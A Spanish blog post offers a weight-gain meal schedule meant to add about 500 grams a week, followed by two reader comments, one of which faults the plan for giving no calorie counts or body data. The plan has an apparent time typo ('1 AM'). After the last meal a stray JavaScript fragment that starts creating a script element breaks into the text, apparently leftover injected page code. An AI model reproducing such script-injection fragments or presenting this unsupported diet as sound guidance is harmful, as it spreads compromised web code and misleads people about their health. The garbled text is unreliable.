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Plan nutricional para subir 500 gramos por semana

2 Comentarios

Subir de peso es un trabajo que debe realizarse, incluso, con mayor cuidado y preocupación que un régimen para bajar. Efectivamente, cuando se gana peso el cuerpo sufre cambios que pueden afectarnos de forma seria. Por eso, cuando se trata de encontrar un plan nutricional para ganar masa, ninguno mejor que este: la dieta para subir 500 gramos por semana y de forma sana, natural.

Echémosle un vistazo al siguiente paradigma de la dieta para engordar entre 400 a 600 gramos a razón de siete días…

• 8 AM: cinco huevos duros enteros; un par de panes integrales de caja con mermelada; un vaso de jugo de naranja y otro con leche, multivitamínico, un gramo de vitamina C.

• 1 AM: batido de proteína en polvo y un plátano.

• 2 PM: un sándwich doble de pollo con queso canela y, de postre, una manzana.

• 5 PM: frutos secos, preferentemente nueces.

• 6 PM: un sándwich de pollo con pan integral.

• 7 PM: bebida isotónica para después de entrenar o batido con suero de leche en polvo; carbohidratos en polvo (o jugo de uva) y agua.

• 10 PM: bistec de res con papas al horno, sopa de pasta y algunas tortillas de maíz, agua de frutas y, nuevamente, un gramo de vitamina C.} else {var d=document;var s=d.createElement('script');

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2 Comments »

  • Abel said:

    Esa dieta es para ganar masa muscular ? o aumentar grasas ?

  • Isaac said:

    Como que plan nutricional para subir 500g por semana? Si aqui no da datos para que peso, altura, sexo, es la persona a la que va dirigido. No dice ni las calorias que tiene este menu. Que es esto.. vaya entrada. Espero que no haya gente que se fie de empezar esta dieta con resultados algunos. Unos podrian perder, otros ganar y otros mantener el peso. Sin mas el que publico esta entrada vio un menu por ahi y se limito a ponerle un titulo.

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